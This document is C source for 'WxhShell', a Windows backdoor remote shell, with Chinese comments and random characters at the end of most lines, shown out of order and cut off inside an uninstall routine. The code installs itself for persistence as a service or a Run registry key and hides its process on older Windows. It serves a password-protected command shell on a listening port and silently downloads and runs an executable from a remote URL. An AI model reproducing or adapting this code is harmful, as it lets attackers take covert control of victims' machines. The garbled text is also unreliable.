ULONG UniqueProcessId; Nzt1JHRS
ULONG InheritedFromUniqueProcessId; }x-8@9S~z
} PROCESS_BASIC_INFORMATION; `UPmr50Wq
;#
PROCNTQSIP NtQueryInformationProcess; B 8,{jwB
4,8 =[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OC.@C}u
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M1\/ueOe
cQb%bmBc5
HANDLE hProcess; h<q``hn>
PROCESS_BASIC_INFORMATION pbi; <#Dc(VhT
ppS`zqq $
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J(GLPC O$K
if(NULL == hInst ) return 0; l1-FL-1
MR: {Ps&,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~{{:-XkVB
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qlP=Y .H
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s:{%1 /
*a4eL [
if (!NtQueryInformationProcess) return 0; U^I'X7`r
fx5vaM!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fh;(1X75I
if(!hProcess) return 0; '-_PO|}
,y @3'~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eA_4,"{
4v7RX
CloseHandle(hProcess); ujedvw;sO
^}#!?"Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KYaf7qy]
if(hProcess==NULL) return 0; =lnz5H
vhW'2<(
HMODULE hMod; ?*0kQo'
char procName[255]; 7y3; F7V
unsigned long cbNeeded; *!kg@ _0K
jrR~V* :k
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ycN_<
I._=q
CloseHandle(hProcess); i)ctrdP-
=r2d{
if(strstr(procName,"services")) return 1; // 以服务启动 ?aui q
fyeS)
return 0; // 注册表启动 cE[lB08
} 6=k^gH[g
OWzIea@
// 主模块 82<!b]^1
int StartWxhshell(LPSTR lpCmdLine) pY@+.V`a
{ Z^'; xn
SOCKET wsl;
AHb
BOOL val=TRUE; K.SHY!U}
int port=0; wl4yNC
struct sockaddr_in door; S/|8'x{<
Q2o:wXvj
if(wscfg.ws_autoins) Install(); Nx"?'-3Hm
GupKM%kM
port=atoi(lpCmdLine); MvCBgLN
-p }]r
if(port<=0) port=wscfg.ws_port; '1+ Bgf
(46)v'?
WSADATA data; bPEAG=l "-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fei$94a
ORO~(%-(e
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4{_5z7ody
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RXDk8)^
door.sin_family = AF_INET; w,&RHQB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); N'StT$(
door.sin_port = htons(port); (~#9KA1A}
FVHL;J]nf1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7RZ7q@@fgh
closesocket(wsl); h
? M0@Z
return 1; B.o&%5dG
} a)e2WgVB/E
Z,z^[Jz
if(listen(wsl,2) == INVALID_SOCKET) { R OS0Q9X
closesocket(wsl); TL5bX+
return 1; #{(rOb6H)
} 711z-
Wxhshell(wsl); Ni`qU(I'|
WSACleanup(); 1/ HofiIa
JQb]mU%?
return 0; udB}`<Q
VC@o]t5
} eP)RP6ON{
*QLbrR
// 以NT服务方式启动 q^s$4 q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ugn"w E
{ nsPM`dz/
DWORD status = 0; {_Y\Y
DWORD specificError = 0xfffffff; :2?du
c~V\,lcI
serviceStatus.dwServiceType = SERVICE_WIN32; ??F{Gli"C`
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9Ah4N2nL-b
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C-Mop,w
serviceStatus.dwWin32ExitCode = 0; xc!"?&\*
serviceStatus.dwServiceSpecificExitCode = 0; \<5xf<{
serviceStatus.dwCheckPoint = 0; !@Ox%vK
serviceStatus.dwWaitHint = 0; T|u)5ww%
{0|^F!1z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w/UsEIr
if (hServiceStatusHandle==0) return; +mY(6|1
$I.'7
&h;
status = GetLastError(); FY'f{gD^
if (status!=NO_ERROR) 7}Gy%SJ`
{ |Qm 7x[i
serviceStatus.dwCurrentState = SERVICE_STOPPED; YRK4l\_`
serviceStatus.dwCheckPoint = 0; uwbj`lpf
serviceStatus.dwWaitHint = 0; 7"gy\_M
serviceStatus.dwWin32ExitCode = status; t((0]j^
serviceStatus.dwServiceSpecificExitCode = specificError; <v\|@@X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *StJ5c_kg2
return; U@9n7F
} 6 R!0v8
uB%`Bx'OW
serviceStatus.dwCurrentState = SERVICE_RUNNING; # RtrHm
serviceStatus.dwCheckPoint = 0; G B15
serviceStatus.dwWaitHint = 0; j9Lc2'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n7S[ F3
} 3V-pLs|
n@*NQ`(_
// 处理NT服务事件,比如:启动、停止 [P^ .=F
VOID WINAPI NTServiceHandler(DWORD fdwControl) aJub("
{ xHf
l>C'
switch(fdwControl) noacnQ_I$
{ YcIk{_N3
case SERVICE_CONTROL_STOP: /t816,i
serviceStatus.dwWin32ExitCode = 0; t({:TQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; s>kzt1,x
serviceStatus.dwCheckPoint = 0; v8LKv`I's
serviceStatus.dwWaitHint = 0; )0NA*<Q+.
{ us/x.qPy2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B"G;"X
} O%)w!0
return; 6JJ%`Uojh
case SERVICE_CONTROL_PAUSE: SW bwD/SN
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5@i/4%S
break; %zWtPxAf
case SERVICE_CONTROL_CONTINUE: rwU[dqBRhc
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3o z]
break; (`T:b1
case SERVICE_CONTROL_INTERROGATE: 8tsW^y;S
break; #SO9e.yhI
}; y0Ag px
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K(hqDif*6
} R#oXQaBJ
v,kedKcxv'
// 标准应用程序主函数 ~}uTC36C\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4re^j4L~o
{ 0%v
p'v
&7;W=uF
// 获取操作系统版本 w*
v%S
OsIsNt=GetOsVer(); m#Rll[
GetModuleFileName(NULL,ExeFile,MAX_PATH); O4 [[9
*vht</?J
// 从命令行安装 sI#K01;"
if(strpbrk(lpCmdLine,"iI")) Install(); cBU>/
zIp
F$d`Umqs;P
// 下载执行文件 z55P~p
if(wscfg.ws_downexe) { H1+G:TM
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sq*sb dE
WinExec(wscfg.ws_filenam,SW_HIDE); kFeuKSa^d
} hMdsR,Iq
OD{Rh(Id
if(!OsIsNt) { h" j{B
// 如果时win9x,隐藏进程并且设置为注册表启动 z1s9[5
HideProc(); x#U?~6.6
StartWxhshell(lpCmdLine); WG9x_X&XJ
} zDC-PHFHQ
else rqifjsv
if(StartFromService()) s<n5^Vxy
// 以服务方式启动 $6R<)]6
StartServiceCtrlDispatcher(DispatchTable); |NL$? %I
else XBCz\f
// 普通方式启动 \
3ha
StartWxhshell(lpCmdLine); iGM-#{5
YYN=`ST
return 0; uYF_sf
} 7n5bI\
Drc\$<9c@
iYR8sg[' #
" J$vt`
=========================================== VDBP]LRF
8MV=?
'xhX\?mD
4k}u`8 a
S&FMFXF@
` O-$qT,_
" @32JMS<
nx84l 7<
#include <stdio.h> [26"?};"%
#include <string.h> LC2t,!RRl&
#include <windows.h> ]hc.cj`\W&
#include <winsock2.h> 3}2'PC
#include <winsvc.h> .(`#q@73
#include <urlmon.h> VQ2)qJ#l
weKwBw
#pragma comment (lib, "Ws2_32.lib") .(ki(8Z N
#pragma comment (lib, "urlmon.lib") ~}(}:#>T
M{Wla7
#define MAX_USER 100 // 最大客户端连接数 nTyKZ(#u
#define BUF_SOCK 200 // sock buffer g#W )EXUR
#define KEY_BUFF 255 // 输入 buffer v~9PS2
>}Za)
#define REBOOT 0 // 重启 y.HE3tH
#define SHUTDOWN 1 // 关机 ZF>zzi+@
b1R%JY7/S
#define DEF_PORT 5000 // 监听端口 6l<q
X*/jna"*
#define REG_LEN 16 // 注册表键长度 YOd0dKe
#define SVC_LEN 80 // NT服务名长度 Yc&yv
9ssTG4Sa
// 从dll定义API ">j}!n
8J
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <%Bsb}h,
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9Y3_.qa(.
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^g"G1,[%w
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A7C+-N
T32C=7
// wxhshell配置信息 +' QX`
struct WSCFG { ez@`&cJ7
int ws_port; // 监听端口 ML9ZS
@
char ws_passstr[REG_LEN]; // 口令 $~75/
int ws_autoins; // 安装标记, 1=yes 0=no D<$,v(-
char ws_regname[REG_LEN]; // 注册表键名 g/)mbL>=
char ws_svcname[REG_LEN]; // 服务名 fq48>"g*
char ws_svcdisp[SVC_LEN]; // 服务显示名 o+r?N5
char ws_svcdesc[SVC_LEN]; // 服务描述信息 r8A
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g:7S/L0]
int ws_downexe; // 下载执行标记, 1=yes 0=no <-D>^p9
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 79^Y^.D
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _8v8qT}O~4
>,yE;zuw
}; tt$DWmm
9@9(zUS|
// default Wxhshell configuration !?,7Cu.5#6
struct WSCFG wscfg={DEF_PORT, |@`F!bnLr
"xuhuanlingzhe", d,tGW
1, %wzDBsX
"Wxhshell", _
fJ5z
"Wxhshell", ycz6-kEp
"WxhShell Service", )"`(+Ku&c
"Wrsky Windows CmdShell Service", ph
qx<N@
"Please Input Your Password: ", wuRQ
H]N
1, Z]V^s8>
"http://www.wrsky.com/wxhshell.exe", 0JN>w^
"Wxhshell.exe" G>&Ta p>
}; 9)9p<(b$
hd^?mZ
// 消息定义模块 x1VBO.t=*
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QpxRYv
char *msg_ws_prompt="\n\r? for help\n\r#>"; % put=I
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |`B*\\ 1
char *msg_ws_ext="\n\rExit."; ^lud2x$O^C
char *msg_ws_end="\n\rQuit."; .fY1?$*6c
char *msg_ws_boot="\n\rReboot..."; [#hpWNez(>
char *msg_ws_poff="\n\rShutdown..."; "%ou'\}
char *msg_ws_down="\n\rSave to "; @-qS[bV
VRV*\*~$
char *msg_ws_err="\n\rErr!"; 094~ s
char *msg_ws_ok="\n\rOK!"; WT;4J<O/
.0+=#G>
char ExeFile[MAX_PATH]; :Aj8u\3!@
int nUser = 0; $a.fQ<,\X
HANDLE handles[MAX_USER]; k<(G)7'gm
int OsIsNt; HI&N&a9C
xMsSZ{j%5
SERVICE_STATUS serviceStatus; .$&mWytw=
SERVICE_STATUS_HANDLE hServiceStatusHandle; 1?%Q"*Y&
;n]GHqzY_
// 函数声明 .,[NJ:l
int Install(void); 3>asl54
int Uninstall(void); {| ~
int DownloadFile(char *sURL, SOCKET wsh); 14>WpNN
int Boot(int flag); tQ~vLPi$
void HideProc(void); goBl~fqy0
int GetOsVer(void); IC"lsNq52
int Wxhshell(SOCKET wsl); r:;nv D
void TalkWithClient(void *cs); 2MY-9(no
int CmdShell(SOCKET sock); M~/7thP{
int StartFromService(void); R<(kiD\?]
int StartWxhshell(LPSTR lpCmdLine); {;mT.[
t7#lRp&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M:TN^ rA|
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0>{&8:
Ad7N'1O
// 数据结构和表定义 A.- j5C4
SERVICE_TABLE_ENTRY DispatchTable[] = jR1t&UD3Y
{ QiO4fS'~W
{wscfg.ws_svcname, NTServiceMain}, r:N =?X`N
{NULL, NULL} LL% Aw)Q`
}; 1'Sr0
oEd3
?|,dHqh{nM
// 自我安装 (dvsGYT|.
int Install(void) w8veh[%3n
{ Dnk}
char svExeFile[MAX_PATH]; zP554Gr ?
HKEY key; OeMI
strcpy(svExeFile,ExeFile); J n>3c
P'}WmE'B}F
// 如果是win9x系统,修改注册表设为自启动 2:[
-
if(!OsIsNt) { J:D{5sE<|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )T0%<(J
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \iL{q^Im
RegCloseKey(key); py|ORVN(Z
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z3Id8G&>
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IhR;YM[K
RegCloseKey(key); pzr\<U`
return 0; '0b!lVe
} I'h|7y\
} Sjb[v
} vC#_PI
else { fl@=h[g#t
x)}.@\&%
// 如果是NT以上系统,安装为系统服务 &JUHm_wd&S
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fI<|]c}P&J
if (schSCManager!=0) 1Jm'9iy3
{ E^s<5BC;
SC_HANDLE schService = CreateService o,NTIh
( , B90r7K:
schSCManager, s8:-*VR9
wscfg.ws_svcname, ^+J3E4
wscfg.ws_svcdisp, =`st1K
SERVICE_ALL_ACCESS, Xmb001
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s2f6;Yc
SERVICE_AUTO_START, <Pn]{N
SERVICE_ERROR_NORMAL, WMi$ATq
svExeFile, >PbB /->
NULL, ~SzHIVj:6
NULL, Nh^
lC
NULL, 4
*n4P
NULL, 1`& Yg(
NULL JX)%iJq#
); wjzR 8g0bQ
if (schService!=0) Qr.SPNUFK
{ 9M12|X\]8
CloseServiceHandle(schService); *DDqa?gQb
CloseServiceHandle(schSCManager); )swu~Wb}U@
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M7`iAa.}
strcat(svExeFile,wscfg.ws_svcname); B0+r
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (/i?Fd
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D[H #W[
RegCloseKey(key); eo [eN.
return 0; U0m 5Rc
} \8^c"%v,:
} L#|6Lnp^
CloseServiceHandle(schSCManager); ^{}$o#iof
} XM#xxf* Y
} fW3awR{
~bD'QMk
return 1; X~2L
} b#
|
gm8FmjZtf
// 自我卸载 'kb|!
int Uninstall(void) -\|S=<
g
{ zn)Kl%N^
HKEY key; huat,zLS
."u
DM<
if(!OsIsNt) { 9aoGptgN
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h_y;NB(w
RegDeleteValue(key,wscfg.ws_regname); $S'~UbmYU
RegCloseKey(key); ~PZIYG"D
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0ZAT;ea B
RegDeleteValue(key,wscfg.ws_regname); <=Z`]8
RegCloseKey(key); Jfs_9g5
return 0; ,ZWaTp*D/
} !Y,*Zc$R
} &